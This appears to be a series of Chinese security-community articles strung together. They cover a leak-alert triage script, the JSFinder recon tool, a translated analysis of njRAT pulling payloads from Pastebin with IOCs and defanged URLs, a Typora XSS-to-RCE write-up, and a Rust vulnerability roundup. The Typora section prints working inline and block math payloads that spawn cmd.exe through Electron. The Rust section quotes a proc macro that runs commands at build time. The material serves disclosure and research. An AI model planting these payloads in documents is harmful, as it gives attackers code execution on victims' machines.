client = pymongo.MongoClient('mongodb://{}:{}@{}:{}/?authSource={}'.format(USERNAME, PASSWORD, HOST, PORT, AUTHSOURCE))
collection = client['hawkeye']['result']
cursor = collection.find(filter={'desc': None}, projection=['link', 'code'], no_cursor_timeout=True, batch_size=1)
PS:
这里有一点要注意，因为"no_cursor_timeout"参数置为"True"了，所以在遍历完成后切记应该执行"cursor.close()"显式关闭链接。
这时候，变量"cursor"就成为一个迭代器，从里面获取数据就好了。从"link"域提取文件名，从"code"域提取BASE64编码表示的文件实际内容，解码一下就行。
filename = doc['link']
sample_str = base64.b64decode(doc['code']).decode(encoding='utf-8', errors='ignore').lower()
审核过程的最后，对于一个确认为安全的文件，执行以下操作，将其置为"安全--忽略"状态。
collection.update_one(filter={'_id': doc['_id']}, update={'$set': {'security': 1, 'ignore': 1, 'desc': ''}})
**总结**
我们用来作为检测依据的各种特征，都来源于对安全和非安全样本的学习，通过对样本集的各种特征的收集和计算，得出阈值，再做适当扩展。也就是说，只有处在阈值范围内的文件，程序才能够进行有效识别，超出了认知盲区的部分，是不能随便给出结论的。
结合数据源特性，程序形成的效果就是，将确定一定不是敏感信息的告警置为安全忽略状态。其他的则留在待审标记下，由人工来做判断。
想象一下，当人工在审核告警信息的时候，思维模式大概分为两个部分：
一部分是，一眼看上去就知道一定是误报的告警，果断忽略掉。另一部分是，有的告警文件，内容上比较难以辨别，需要仔细检查一小会儿才能确定。
程序的运行其实也是相同的过程，机器学习可以在极短的时间内将绝大部分一眼看上去就是误报的告警排除掉，剩下就是那些占比极小的，需要仔细检查一会儿才能确定的文件，将它们留在原地，由人工来进行判断，实现在节省巨量不必要的时间投入的同时，准确识别出那些可能会带来巨大损失的信息泄露隐患。
我们的样本文件集，数量越多，质量越好，产出的机器学习模型也就越高效和精准。就好像人读书越多越聪明一样。
在前期，当我们的样本集具备基本的可用性的时候，实际上就已经能够很好的运行了，随着工作的进行，收集到的样本会越来越多，对机器学习模型的训练也就越来越容易。
**结束**
因为我自身的工作主要是渗透测试方面。程序开发经验和对机器学习算法的理解都十分匮乏，所以历时很久，参考了网上各路大神的资料之后，反复测试迭代，才搞到现在这个效果，能够很好的解决自身的这个工作需求。
但程序本身还存在很多不足，后面打算再做优化，尝试添加其他的算法和思路，以期打磨的更加完善。 | 社区文章 |
## 说在前面
在渗透测试及漏洞挖掘过程中，信息搜集是一个非常重要的步骤。而在网站的JS文件中，会存在各种对测试有帮助的内容。
比如：敏感接口，子域名等。
社区内的文章也有有些关于JS文件提取信息的片段，比如Brupsuite和LinkFinder结合的方式，但还是有些问题：不能提取子域名，是相对URL，没那么方便等等。
于是我写了一个工具 - JSFinder。能够根据一个URL自动的收集JS，并在其中发现提取URL和子域名。毕竟，信息搜集的方式，自然是越多越好。
项目地址：<https://github.com/Threezh1/JSFinder>
JSFinder获取URL和子域名的方式：
## 使用方式
我们以京东为例来测试，京东的网址为：<https://www.jd.com/>
简单爬取：
`python3 JSFinder.py -u https://www.jd.com/`
提取的URL：
提取的子域名：
打开一个像接口的URL看看
看起来是一个商品信息的接口。
只有一百多个URL和几十个子域名，远远不够。
当你想获取更多信息的时候，可以使用-d进行深度爬取来获得更多内容，并使用命令 -ou, -os来指定URL和子域名所保存的文件名。
`python3 JSFinder.py -u https://www.jd.com/ -d -ou jd_url.txt -os
jd_domain.txt`
4019个URL,319个子域名，能够收集到的内容还是非常多的。
当然，信息的质量取决于网站，各种接口有没有用还取决于自己。
除了这两种方式以外，还可以批量指定URL和JS链接来获取里面的URL。
指定URL：
`python JSFinder.py -f text.txt`
指定JS：
`python JSFinder.py -f text.txt -j`
## 最后
写这个脚本的目的是为了丰富信息搜集，也是锻炼自己的编程能力。如果师傅们有更好的建议，希望能够告诉我，谢谢。
email:[email protected] | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://unit42.paloaltonetworks.com/njrat-pastebin-command-and-control/>**
### 概要
今年10月以来，研究人员发现，恶意软件攻击者在利用一种远程访问木马njRAT（也被称为Bladabindi）从Pastebin下载并传送第二阶段的有效负载。Pastebin是一个流行网站，可匿名存储数据。攻击者利用这一服务发布恶意数据，恶意软件可以通过一个简短的URL访问这些数据，避免使用他们自己的命令和控制（C2）基础设施，以免引起注意。
在这篇文章中，我们将介绍在野外发现的不同情形以及数据转换，并描述downloader组件与其第二阶段恶意软件之间的关系。
### Pastebin C2隧道
攻击者将Pastebin的C2隧道作为恶意负载的托管服务，这些负载可被键盘记录程序、后门程序或木马程序下载。
托管的数据在形式上有所不同，具有不同的数据编码和转换，包括传统的base64编码、十六进制和JSON数据、压缩blob和嵌入恶意url的明文数据。据分析，攻击者这么做是为了逃避安全产品的检测。
### base64编码响应丢弃的第二阶段恶意软件
* **Downloader** : 91f4b53cc4fc22c636406f527e3dca3f10aea7cc0d7a9ee955c9631c80d9777f
* **Second-stage** : 492ea8436c9a4d69e0a95a13bac51f821e8454113d4e1ccd9c8d903a070e37b2
* **Source URL** : hxxps://pastebin[.]com/raw/VbSn9AnN
Downloader（91f4b53cc4fc22c636406f527e3dca3f10aea7cc0d7a9ee955c9631c80d9777f）请求Pastebin
C2数据并使用所规避的存储数据版本，该版本与传统的base64编码相对应。
图1.base64编码数据与可执行文件的转换。
一旦解码，最终的有效负载将显示为一个32位的.NET可执行文件，它使用了几个Windows
API函数，包括GetKeyboardState()、GetAsynckeyState()、MapVirtualKey()等。这些函数通常由键盘记录程序和木马程序使用，也可以用来过滤用户数据。值得注意的是，下载器和第二阶段可执行文件在功能和代码方面是相似的。
下图显示了第二阶段示例的反编译代码的截图。
图2.与键盘记录程序功能相关的Windows API。
### base64编码反向规避丢弃的第二阶段恶意软件
* **Downloader** : 67cbb963597abb591b8dc527e851fc8823ff22d367f4b580eb95dfad7e399e66
* **Second-stage** : ffb01512e7357ab899c8eabe01a261fe9462b29bc80158a67e75fdc9c2b348f9
* **Source URL** : hxxps://pastebin[.]com/raw/JMkdgr4h
在这个版本中，base64数据被反向，大概是为了躲避检测。
图3.base64编码的反向字符串及其向base64格式的转换。
对数据进行适当的转换和解码后，最终的第二阶段32位.NET可执行文件与上个示例类似，它具有键盘记录和木马的功能。为了得到最终的有效负载，需要三个数据转换层。
### ASCII和base64响应丢弃的第二阶段恶意软件
* **Downloader** : 9ba0126bd6d0c4b41f5740d3099e1b99fed45b003b78c500430574d57ad1ad39
* **Second-stage** : dfc8bffef19b68cfa2807b2faaf42de3d4903363657f7c0d27435a767652d5b4
* **Source URL** : hxxps://pastebin[.]com/raw/LKRwaias
在这个版本中，base64数据以十六进制字符表示。
图4.十六进制编码字符串及其向base64格式的转换。
正确解码Hex和base64数据后，转储程序也是32位.NET可执行文件，与上一个示例具有相同的恶意特征。
### base64编码和压缩数据响应丢弃的第二阶段恶意软件
* **Downloader** : 54cf2d7b27faecfe7f44fb67cb608ce5e33a7c00339d13bb35fdb071063d7654
* **Second-stage** : 96c7c2a166761b647d7588428fbdd6030bb38e5ef3d407de71da657f76b74cac
* **Source URL** : hxxp://pastebin[.]com/raw/zHLUaPvW
与其他示例不同，此32位.NET启动程序可以使用从Pastebin获取的压缩数据。
图5.解压并执行base64压缩数据。
下载程序执行以下操作：
* 通过执行DownloadString()函数，将作为字符串的base64编码和压缩数据下载，该字符串是由形成目标URL的变量str，str2，str3和str4串联而成的。
* base64和压缩数据现在由FromBase64String()函数解码，并由DecompressGZip()函数解压缩。最终将一个可执行文件存储在rawAssembly变量的字节数组中。
* 最后，调用Load()。EntryPoint.Invoke()是通过将rawsassembly变量传递到内存中的可执行文件来实现的，以便在系统中定位并释放恶意负载。
下图显示了执行前驻留在内存中的经过解压缩的32位.NET可执行数据。
图6.解压内存中的第二阶段恶意软件。
### URL链接响应丢弃的第二阶段恶意软件
* **Downloader** : bd2387161cc077bfca0e0aae5d63820d1791f528feef65de575999454762d617
* **Second-stage** : 7754d2a87a7c3941197c97e99bcc4f7d2960f6de04d280071eb190eac46dc7d8
* **Source URL** : hxxp://pastebin[.]com/raw/ZFchNrpH
这个.NET下载程序使用传统的方法从远程URL获取可执行文件。目标地址指向hxxp://textfiles[.]us/driverupdate0.exe。
根据VirusTotal的说法，几家供应商将这个恶意软件样本识别为恶意软件。
图7.driverupdate0.exe可执行文件的VirusTotal及其检测率。
### JSON响应中的配置文件
* **Downloader** : 94e648c0166ee2a63270772840f721ba52a73296159e6b72a1428377f6f329ad
* **Source URL** : hxxps://pastebin[.]com/raw/8DEsZn2y
在这个版本中，使用了JSON格式的数据。其中一个关键字名为“downlodLink”（恶意软件攻击者故意拼错），这表示该值将是一个URL，在该URL中可以下载其他组件。虽然没有提供关于这个特定文件目标的更多信息，但它可能被用作配置文件。
图8.基于JSON的恶意软件配置文件。
### 代理Scraper被HTML响应丢弃
* **Downloader** : 97227c346830b4df87c92fce616bdec2d6dcbc3e6de3f1c88734fe82e2459b88
* **Proxy Scraper.exe** : e3ea8a206b03d0a49a2601fe210c949a3c008c97e5dbf77968c0d08d2b6c1255
* **MaterialSkin.dll** : b9879df15e82c52e9166c71f7b177c57bd4c8289821a65a9d3f5228b3f606b4e
* **Source URL** : hxxps://pastebin[.]com/rw/770qPDMt
此恶意软件会解析HTML页面，以获取链接从而进一步攻击。对于这个特定的示例，Pastebin数据用于提供软件下载的链接。
图9.指向代理Scraper软件的链接。
下载链接指向一个名为Simple + Scraper.zip的压缩文件，其中包含两个文件：MaterialSkin.dll和Proxy
Scraper.exe。通过使用.NET反编译软件对代码进行静态检查，我们发现下载程序恶意软件使用Pastebin作为存储库来托管与Proxy
Scraper软件相关的更新链接。
图10.用于检查与Proxy Scraper软件相关更新的.NET代码。
### 结论
Pastebin
C2隧道仍然存在，并且被njRAT以下载Pastebin中托管的数据的方式来传递恶意有效负载，从而使恶意软件组织充分利用基于paste的公共服务。研究发现，攻击者将其第二阶段有效负载托管在Pastebin中，并对此类数据进行加密或混淆处理，以躲避检测。此外，攻击者可能会长期使用Pastebin这类的服务。
### IOCs
**Samples**
03c7015046ef4e39a209384f2632812fa561bfacffc8b195542930e91fa6dceb
205341c9ad85f4fc99b1e2d0a6a5ba5c513ad33e7009cdf5d2864a422d063aba
2270b21b756bf5b5b1b5002e844d0abe10179c7178f70cd3f7de02473401443a
54cf2d7b27faecfe7f44fb67cb608ce5e33a7c00339d13bb35fdb071063d7654
54d7ee587332bfb04b5bc00ca1e8b6c245bb70a52f34835f9151b9978920b6d7
678a25710addeefd8d42903ceddd1c82c70b75c37a80cf2661dab7ced6732cd3
67cbb963597abb591b8dc527e851fc8823ff22d367f4b580eb95dfad7e399e66
6817906a5eff7b02846e4e6a492ee57c2596d3f19708d8483bef7126faa7267f
69366be315acc001c4b9b10ffc67dad148e73ca46e5ec23509f9bb3eedcd4c08
94c2196749457b23f82395277a47d4380217dd821d0a6592fc27e1e375a3af70
94e648c0166ee2a63270772840f721ba52a73296159e6b72a1428377f6f329ad
96640d0c05dd83bb10bd7224004056e5527f6fad4429beaf4afa7bad9001efb7
97227c346830b4df87c92fce616bdec2d6dcbc3e6de3f1c88734fe82e2459b88
97b943a45b4716fcea4c73dce4cefe6492a6a51e83503347adcd6c6e02261b84
9ba0126bd6d0c4b41f5740d3099e1b99fed45b003b78c500430574d57ad1ad39
bd2387161cc077bfca0e0aae5d63820d1791f528feef65de575999454762d617
**Second Stage**
9982c4d431425569a69a022a7a7185e8c47783a792256f4c5420f9e023dee12a
d347080fbc66e680e2187944efbca11ff10dc5bfcc76c815275c4598bb410ef6
30c071a9e0207f0ca98105c40ac60ec50104894f3e4ed0fb1e7b901f56d14ad4
231d52100365c14be32e2e81306b2bb16c169145a8dbcdc8f921c23d7733cef0
fd5c731bb53c4e94622e016d83e4c0d605baf8e34c7960f72ff2953c65f0084c
b3730931aaa526d0189aa267aa0d134eb89e538d79737f332223d3fc697c4f5a
75b833695a12e16894a1e1650ad7ed51e6f8599ceaf35bbd8e9461d3454ab711
6d0b09fe963499999af2c16e90b6f8c5ac51138509cc7f3edb4b35ff8bef1f12
2af1bb05a5fde5500ea737c08f1b675a306150a26610d2ae3279f8157a3cb4df
db8ca46451a6c32e3b7901b50837500768bb913cafb5e12e2111f8b264672219
5ebb875556caefb78d5050e243f0efb9c2c8e759c9b32a426358de0c391e8185
bdc33dbdfd92207ad88b6feb3066bb662a6ca5cf02710870cae38320bb3a35bf
08f378fe42aec892e6eb163edc3374b0e2eb677bd01e398addd1b1fca4cd23c4
### URLs
**Active:**
hxxp://pastebin[.]com/raw/JKqwsAs6
hxxp://pastebin[.]com/raw/pc9QbQCK
hxxp://pastebin[.]com/raw/Rpx7tm9N
hxxp://pastebin[.]com/raw/hsGSLP89
hxxp://pastebin[.]com/raw/HNkipzLK
hxxp://pastebin[.]com/raw/Z3mcNqjz
hxxp://pastebin[.]com/raw/h5yBCwpY
hxxp://pastebin[.]com/raw/zHLUaPvW
hxxp://pastebin[.]com/raw/V6UWZm2n
hxxp://pastebin[.]com/raw/rTjmne99
hxxp://pastebin[.]com/raw/JMkdgr4h
hxxp://pastebin[.]com/raw/yPTNdYRN
hxxp://pastebin[.]com/raw/q56JPtdY
hxxp://pastebin[.]com/raw/a3U5MMj2
hxxp://pastebin[.]com/raw/E4MB4MFj
hxxp://pastebin[.]com/raw/770qPDMt
hxxp://pastebin[.]com/raw/YtuXz7YX
hxxp://pastebin[.]com/raw/LKRwaias
hxxp://pastebin[.]com/raw/ZFchNrpH
hxxp://pastebin[.]com/raw/8DEsZn2y
**Inactive**
hxxp://pastebin[.]com/raw/TWQYHv9Y
hxxp://pastebin[.]com/raw/0HpgqDt2
hxxp://pastebin[.]com/raw/1t8LPE7R
hxxp://pastebin[.]com/raw/3vsJLpWu
hxxp://pastebin[.]com/raw/6MFWAdWS
hxxp://pastebin[.]com/raw/AqndxJKK
hxxp://pastebin[.]com/raw/SdcQ9yPM
hxxp://pastebin[.]com/raw/XMKKNkb0
hxxp://pastebin[.]com/raw/ZM6QyknC
hxxp://pastebin[.]com/raw/pMDgUv62
hxxp://pastebin[.]com/raw/yEw5XbvF
* * * | 社区文章 |
# Typora XSS 到 RCE（下）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言：
上一篇文章讲了我通过黑盒测试从输出点入手挖到的 Typora
可以导致远程命令执行的XSS，并分析了漏洞原因。那么今天就讲一下我从代码入手挖到的另外两个XSS。
## 漏洞二&三：
### 从解析Markdown的代码入手：
我们知道容易导致 XSS 的一种情况就是，用户可以控制的内容未经处理直接拼接进 HTML 。那么我们这一次直接在代码中寻找这样的位置。
通过上一次的分析，我们已经大概知道了 Typora 将 Markdown 解析成 HTML 的过程，其中负责将 Markdown 语法转换成 HTML
的主要函数就是`ce.prototype.output`
，既然这次要从代码入手找漏洞，我们当然就需要对这个函数有一定的了解，这里简要对这个函数的主要逻辑做一个分析：
ce.prototype.output = function(
String e, //输入的内容 .eg:~~del~~
Function t, //生成HTML的规则函数
Bool n, //开关，决定要不要对格式为：[xxx](<https://www.eg.com>) 中的特殊字符(\=,\*,\\,\[,\_)进行替换
Object r, //输入内容type, .eg:{"attr":true}
Object o //记录游标信息的对象
) {
t = t || this.options.decorate, // 如果t为null，则使用 this.options.decorate 作为生成HTML的规则函数
......
function S(Array e){ //参数e的结构在后面说
......
// 将传入的数组中的对象，分别使用函数t处理，生成HTML
for (var n = "", i = 0; i < e.length; i++) {
......
var r = e[i]；
n += t(r,w,o);
}
return n;
}
......
//对markdown语法进行正则匹配、处理的部分：
for((判断是否处理结束的条件);e;){
if (r.markLinebreak && (f = /^\r?\n/.exec(e)))){......}
else if (f = this.rules.escape2.exec(e)){......}
......
else if (f = this.rules.del.exec(e)) //如果匹配到满足del的语法
//.eg f:["~~del~~", "del", index: 0, input: "~~del~~", groups: undefined]
y += f[0].length,
e = e.substring(f[0].length), // 删除已经处理完的部分
b.push({
type: a.del, // a.del 就是 "del"，其他的也一样
pattern: "~~", // 匹配到的语法标志
inner: this.output(f[1], t, !0), //递归调用ce.prototype.output，对内部的其他语法进行处理
text: f[1] //除去语法标志后的内容
});
......
}
G = S(b); //使用 S 函数对 匹配结束后生成的数组 b ，进行处理。
return G;
}
整个逻辑大体就是通过正则表达式匹配 Markdown 语法，标记后传入`t` 函数生成，根据相应的规则生成HTML。
而`t` 函数可以是外部传进来的，否则默认设置为`ce.options.decorate`,
那么我们来看一下`ce.options.decorate`，通过搜索找到定义`ce.options.decorate` 的位置：
function ce(e, t, n) {
this.options = e || ye({}, Te.defaults),
this.options.decorate = t || s.decorate,
this.options.context = n || this,
this.rules = le.normal,
......
}
发现这里的逻辑也是一样的，在没有传入外部函数的情况下，使用默认值`s.decorate`，找到`s.decorate`:
终于到了生成 HTML 的位置了，可以愉快的找漏洞了！这里的对象`e` 就是上面数组`b` 中的元素，如果有忘记格式的朋友，可以去上面再看一眼。
我们可以看到这个函数内大多是直接将内容拼接进 HTML 字符串。那么只要被拼接的内容我们可以控制，就可以造成 XSS, 而对象`e`
中我们可以控制的内容就是 `text` 属性。那么我们就找一找有没有直接拼接`e.text` 的地方。
果然，我们发现在`e.type` 值为`inline-math` 的时候，直接将`e.text` 进行了拼接：
case c.inline_math:
return e.text = e.text.replace(/\u200B+/g, ""),
!/^\$+$/.exec(e.text) && svgCache[e.text] ? "<span class='md-inline-math math-jax-postprocess' md-inline='inline_math' ><span class='md-before md-meta'>" + e.pattern + "</span><span class='inline-math-svg'>" + svgCache[e.text] + "</span><span class='md-math-after-sym'></span><span class='md-after md-meta'>" + e.pattern + "</span></span>" : "<span class='md-inline-math math-jax-preprocess' md-inline='inline_math'><span class='md-before md-meta'>" + e.pattern + "</span><span class='md-math-tex inline-math-svg'><script type='math/tex'>" + e.text + "<\/script></span><span class='md-math-after-sym'></span><span class='md-after md-meta'>" + e.pattern + "</span></span>";
那么就有了我们的漏洞二，poc 如下：
$</script><iframe src=javascript:eval(atob('dmFyIFByb2Nlc3MgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmJpbmRpbmcoJ3Byb2Nlc3Nfd3JhcCcpLlByb2Nlc3M7CnZhciBwcm9jID0gbmV3IFByb2Nlc3MoKTsKcHJvYy5vbmV4aXQgPSBmdW5jdGlvbiAoYSwgYikge307CnZhciBlbnYgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmVudjsKdmFyIGVudl8gPSBbXTsKZm9yICh2YXIga2V5IGluIGVudikgZW52Xy5wdXNoKGtleSArICc9JyArIGVudltrZXldKTsKcHJvYy5zcGF3bih7CiAgICBmaWxlOiAnY21kLmV4ZScsCiAgICBhcmdzOiBbJy9rIGNhbGMnXSwKICAgIGN3ZDogbnVsbCwKICAgIHdpbmRvd3NWZXJiYXRpbUFyZ3VtZW50czogZmFsc2UsCiAgICBkZXRhY2hlZDogZmFsc2UsCiAgICBlbnZQYWlyczogZW52XywKICAgIHN0ZGlvOiBbewogICAgICAgIHR5cGU6ICdpZ25vcmUnCiAgICB9LCB7CiAgICAgICAgdHlwZTogJ2lnbm9yZScKICAgIH0sIHsKICAgICAgICB0eXBlOiAnaWdub3JlJwogICAgfV0KfSk7'))></iframe>$
当用户打开包含上述代码的文档时，就会弹出一个计算器：
### 扩大战果：
这时候别高兴得太早，我们还能扩大战果：大家看到`inline_math`
这个名字有没有敏感的想到，既然有行内公式，就一定也有行间(块)公式，既然行内公式有漏洞，那么行间公式会不会也有问题呢？而我们当前的`s.decorate`
函数中只有对行内元素的处理，于是分别尝试全局搜索:`block_math`、`display_math,`、`math_block`
等关键词，最终找到了对`math_block` 的处理：
case o.math_block:
var F = document.createElement("script");
return F.textContent = this.get("text") || "<Empty \\space Math \\space Block>",
F.setAttribute("type", "math/tex; mode=display"),
"<div contenteditable='false' spellcheck='false' class='mathjax-block md-end-block md-math-block md-rawblock' id='mathjax-" + this.cid + "' " + f(this) + ">" + d.replace("{type}", $.localize.getString("Math", "Menu")) + "<div class='md-rawblock-container md-math-container' tabindex='-1'>" + F.outerHTML + "</div></div>";
我们看到，这里创建了一个 `type` 属性为`math/tex; mode=display` 的`script`
标签`F`，然后将待处理的文字内容（`this.get("text")`）直接赋值作为`textContent`，随后又将`F.outHTML` 拼接进了
HTML 代码中返回，问题就出在这里。本来将内容作为`textContent`，是不会导致XSS的，但是经过`F.outerHTML`
后再拼接回去，就和直接拼接 HTML 代码无异了。于是有了漏洞三，poc只需把漏洞二的 `$` 改成 `$$` 即可：
$$</script><iframe src=javascript:eval(atob('dmFyIFByb2Nlc3MgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmJpbmRpbmcoJ3Byb2Nlc3Nfd3JhcCcpLlByb2Nlc3M7CnZhciBwcm9jID0gbmV3IFByb2Nlc3MoKTsKcHJvYy5vbmV4aXQgPSBmdW5jdGlvbiAoYSwgYikge307CnZhciBlbnYgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmVudjsKdmFyIGVudl8gPSBbXTsKZm9yICh2YXIga2V5IGluIGVudikgZW52Xy5wdXNoKGtleSArICc9JyArIGVudltrZXldKTsKcHJvYy5zcGF3bih7CiAgICBmaWxlOiAnY21kLmV4ZScsCiAgICBhcmdzOiBbJy9rIGNhbGMnXSwKICAgIGN3ZDogbnVsbCwKICAgIHdpbmRvd3NWZXJiYXRpbUFyZ3VtZW50czogZmFsc2UsCiAgICBkZXRhY2hlZDogZmFsc2UsCiAgICBlbnZQYWlyczogZW52XywKICAgIHN0ZGlvOiBbewogICAgICAgIHR5cGU6ICdpZ25vcmUnCiAgICB9LCB7CiAgICAgICAgdHlwZTogJ2lnbm9yZScKICAgIH0sIHsKICAgICAgICB0eXBlOiAnaWdub3JlJwogICAgfV0KfSk7'))></iframe>$$
截止目前（2019.2.11），漏洞二已经在 v0.9.64 中被修复，而漏洞三在提交16天过后仍未修复。
## 结语：
这是我第一次挖掘 Webapp 的漏洞，思路和方法都难免有些不是很成熟的地方，欢迎并感谢大家讨论和指教 。 | 社区文章 |
**作者：张汉东
原文链接：<https://mp.weixin.qq.com/s/RsfEKl7FAGs2L9vXKC0rWQ>
相关阅读：
[Rust生态安全漏洞总结系列 | Part 1](https://paper.seebug.org/1728/ "Rust生态安全漏洞总结系列 |
Part 1")
[Rust生态安全漏洞总结系列 | Part 2](https://paper.seebug.org/1730/ "Rust生态安全漏洞总结系列 |
Part 2")**
本系列主要是分析 **`RustSecurity`
安全数据库库**[1]中记录的`Rust`生态社区中发现的安全问题，从中总结一些教训，学习`Rust`安全编程的经验。
本期分析了下面十一个安全问题：
* **RUSTSEC-2021-0110: Vulnerability in wasmtime[2]**
* **RUSTSEC-2021-0098: Vulnerability in openssl-src[3]**
* **RUSTSEC-2021-0082: Unsoundness in vec-const[4]**
* **RUSTSEC-2021-0093: Vulnerability in crossbeam-deque[5]**
* **RUSTSEC-2021-0077: Vulnerability in better-macro[6]**
* **RUSTSEC-2021-0106: Vulnerability in bat[7]**
* **RUSTSEC-2021-0073: Vulnerability in prost-types[8]**
* **RUSTSEC-2021-0078: Vulnerability in hyper[9]**
* **RUSTSEC-2021-0072: Vulnerability in tokio[10]**
* **RUSTSEC-2021-0070: Vulnerability in nalgebra[11]**
* **CVE-2021-31162: Vulnerability in std[12]**
看是否能给我们一些启示。
## RUSTSEC-2021-0110: Vulnerability in wasmtime[13]
在 Wasmtime 中发现多个代码缺陷。包括 UAF(use-after-free)、越界读写等。
### 漏洞描述：
* 漏洞类型：Vulnerability
* 漏洞分类：memory-corruption/ memory-exposure
* CVE 编号： **CVE-2021-39216** [14]、 **CVE-2021-39219** [15]、 **CVE-2021-39218** [16]
* 详细：<https://rustsec.org/advisories/RUSTSEC-2021-0110.html>
* 补丁：`>=0.30.0`
* 关键字：`use-after-free` / `out-of-bounds read /out-of-bounds write / Wasm`/ `garbage collection`
### 漏洞分析
> 背景：`externref` 是 WebAssembly 引用类型（Reference Types）中引入的概念，用于表示 Host 引用。
#### Use after free passing `externref`s to Wasm in Wasmtime[17]
当从 Host 传递给 Guest `externrefs` 时会引发 UAF 。满足下列条件之一可触发此 Bug ：
1. 同时明确地从Host传递多个 `externrefs`给 `wasm` 实例
2. 通过将多个 `externrefs` 作为参数从 Host 代码传递给 `wasm`函数
3. 从Host定义的多值返回函数中返回多个 `externrefs` 给 `wasm`
如果 `Wasmtime` 的
`VMExternRefActivationsTable`在传入第一个`externref`后容量被填满，那么传入第二个`externref`可能会触发垃圾回收。然而，在把控制权传给`Wasm`之前，第一个`externref`是没有根(root)的，因此，如果没有其他东西持有对它的引用或以其他方式保持它的live，就会被GC回收。然后，当控制权在垃圾收集后被传递给`Wasm`时，`Wasm`可以使用第一个`externref`，但这时它已经被释放了。
#### Out-of-bounds read/write and invalid free with `externref`s and GC
safepoints in Wasmtime[18]
在`Wasmtime`运行使用`externrefs`的`Wasm`时，存在一个无效释放和越界读写的错误。
要触发这个错误，`Wasmtime`需要运行使用`externrefs`的`Wasm`，Host
创建非空的`externrefs`，`Wasmtime`执行一个垃圾收集（GC），并且堆栈上必须有一个`Wasm`帧，它处于GC
`Safepoint`（安全点就是指代码运行到这个地方，它的状态是确定的， GC就可以安全的进行一些操作），在这个安全点上没有 Live 的引用，这种情况下
`Wasmtime` 会错误地使用 `GC Stack map` 而非 安全点。这就会导致释放一些不应该释放的内存，以及潜在的越界读写。
#### Wrong type for `Linker`-define functions when used across two
`Engine`s[19]
> Engine，是在 wasmtime 中被用于跨线程管理wasm模块的全局上下文。Linker，是用于支持模块链接的结构。
在 `Linker::func_*` 安全函数中发现了一个问题。wasmtime 不支持函数的跨 engine
使用，这可能导致函数指针的类型混乱，导致能够安全地调用一个类型错误的函数。这种情况应该 panic！
## RUSTSEC-2021-0098: Vulnerability in openssl-src[20]
**openssl-src** [21] 是用于构建 OpenSSL 给 `openssl-sys` 库使用的。OpenSSL
最近又发现了很多新的安全缺陷，也记录到这里了。
具体这个漏洞是指 处理ASN.1字符串时的读取缓冲区超限问题。
### 漏洞描述：
* 漏洞类型：Vulnerability
* 漏洞分类：denial-of-service / crypto-failure
* CVE 编号：CVE-2021-3712
* 详细：<https://www.openssl.org/news/secadv/20210824.txt>
* 补丁：`>=111.16`
### 漏洞分析
ASN.1字符串在OpenSSL内部被表示为一个`ASN1_STRING`结构，它包含一个容纳字符串数据的缓冲区和一个容纳缓冲区长度的字段。这与普通的C语言字符串不同，后者表示为一个字符串数据的缓冲区，以`NUL（0）`字节结束。
虽然不是严格的要求，但使用OpenSSL自己的 "d2i
"函数（和其他类似的解析函数）解析的ASN.1字符串，以及任何用ASN1_STRING_set()函数设置值的字符串，都会在ASN1_STRING结构中以NUL结束字节数。
然而，应用程序有可能直接构建有效的ASN1_STRING结构，通过直接设置ASN1_STRING数组中的 "data "和 "length
"字段，不以NUL方式终止字节数组。这也可以通过使用ASN1_STRING_set0()函数来实现。
许多打印ASN.1数据的OpenSSL函数被认为ASN1_STRING字节数组将以NUL结尾，尽管这对直接构建的字符串来说是不保证的。如果应用程序要求打印一个ASN.1结构，而该ASN.1结构包含由应用程序直接构建的ASN1_STRING，而没有以NUL结束
"data "字段，那么就会发生读取缓冲区超限。
如果一个恶意行为者可以使一个应用程序直接构建一个ASN1_STRING，然后通过受影响的OpenSSL函数之一处理它，那么这个问题可能会被击中。这可能导致崩溃（造成拒绝服务攻击,DOS）。它还可能导致私人内存内容（如私人密钥或敏感明文）的泄露。
### 其他 OpenSSL 问题
OpenSSL 缺陷列表：<https://rustsec.org/packages/openssl-src.html>
## RUSTSEC-2021-0082: Unsoundness in vec-const[22]
`vec-const`试图从一个指向常量切片的指针构造一个`Vec`。
### 漏洞描述：
* 漏洞类型：Unsound
* 漏洞分类：memory-corruption
* CVE 编号：CVE-2021-3711
* 详细：<https://github.com/Eolu/vec-const/issues/1#issuecomment-898908241>
* 补丁：暂无，不建议使用该 crate
* 关键字：memory-safety
### 漏洞分析
这个crate
违反了Rust的规则，使用起来会有危害。你不应该使用这个crate。这个crate不应该存在。它创建了不健全的抽象，允许不安全的代码伪装成安全代码。
这个crate声称要构造一个长度和容量都不为零的`const
Vec`，但这是做不到的，因为这样的`Vec`需要一个来自分配器(allocator)的指针。参见：<https://github.com/rust-lang/const-eval/issues/20>
## RUSTSEC-2021-0093: Vulnerability in crossbeam-deque[23]
crossbeam-deque中发生了数据竞争。
### 漏洞描述：
* 漏洞类型：Vulnerability
* 漏洞分类：memory-corruption
* CVE 编号：GHSA-pqqp-xmhj-wgcw、 **CVE-2021-32810** [24]
* 详细：<https://github.com/Eolu/vec-const/issues/1#issuecomment-898908241>
* 补丁：`>=0.7.4, <0.8.0` / `>=0.8.1`
### 漏洞分析
在受影响的版本中，队列的一个或多个任务会被弹出两次，如果在堆上分配，会导致 dobule free 和 内存泄漏。如果不是堆上分配，则会引起逻辑错误。
修复PR ：<https://github.com/crossbeam-rs/crossbeam/pull/726>
问题是因为任务窃取相关条件判断错误导致的，是逻辑 Bug。
## RUSTSEC-2021-0077: Vulnerability in better-macro[25]
better-macro 是一个假的 crate，它在 "证明一个观点"，即`proc-macros`可以运行任意的代码。这是一个特别新颖或有趣的观察。
它目前打开的https://github.com/raycar5/better-macro/blob/master/doc/hi.md，似乎没有任何恶意的内容，但不能保证会一直如此。
这个 crate 没有任何有用的功能，不应该被使用。
#[proc_macro]
pub fn println(input: TokenStream) -> TokenStream {
if let Ok(_) = Command::new("xdg-open").arg(URL).output() {
} else if let Ok(_) = Command::new("open").arg(URL).output() {
} else if let Ok(_) = Command::new("explorer.exe").arg(URL).output() {
}
let input: proc_macro2::TokenStream = input.into();
let out = quote! {::std::println!(#input)};
out.into()
}
## RUSTSEC-2021-0106: Vulnerability in bat[26]
**bat** [27] 中存在不受控制的搜索路径元素，可能会导致非预期代码执行。
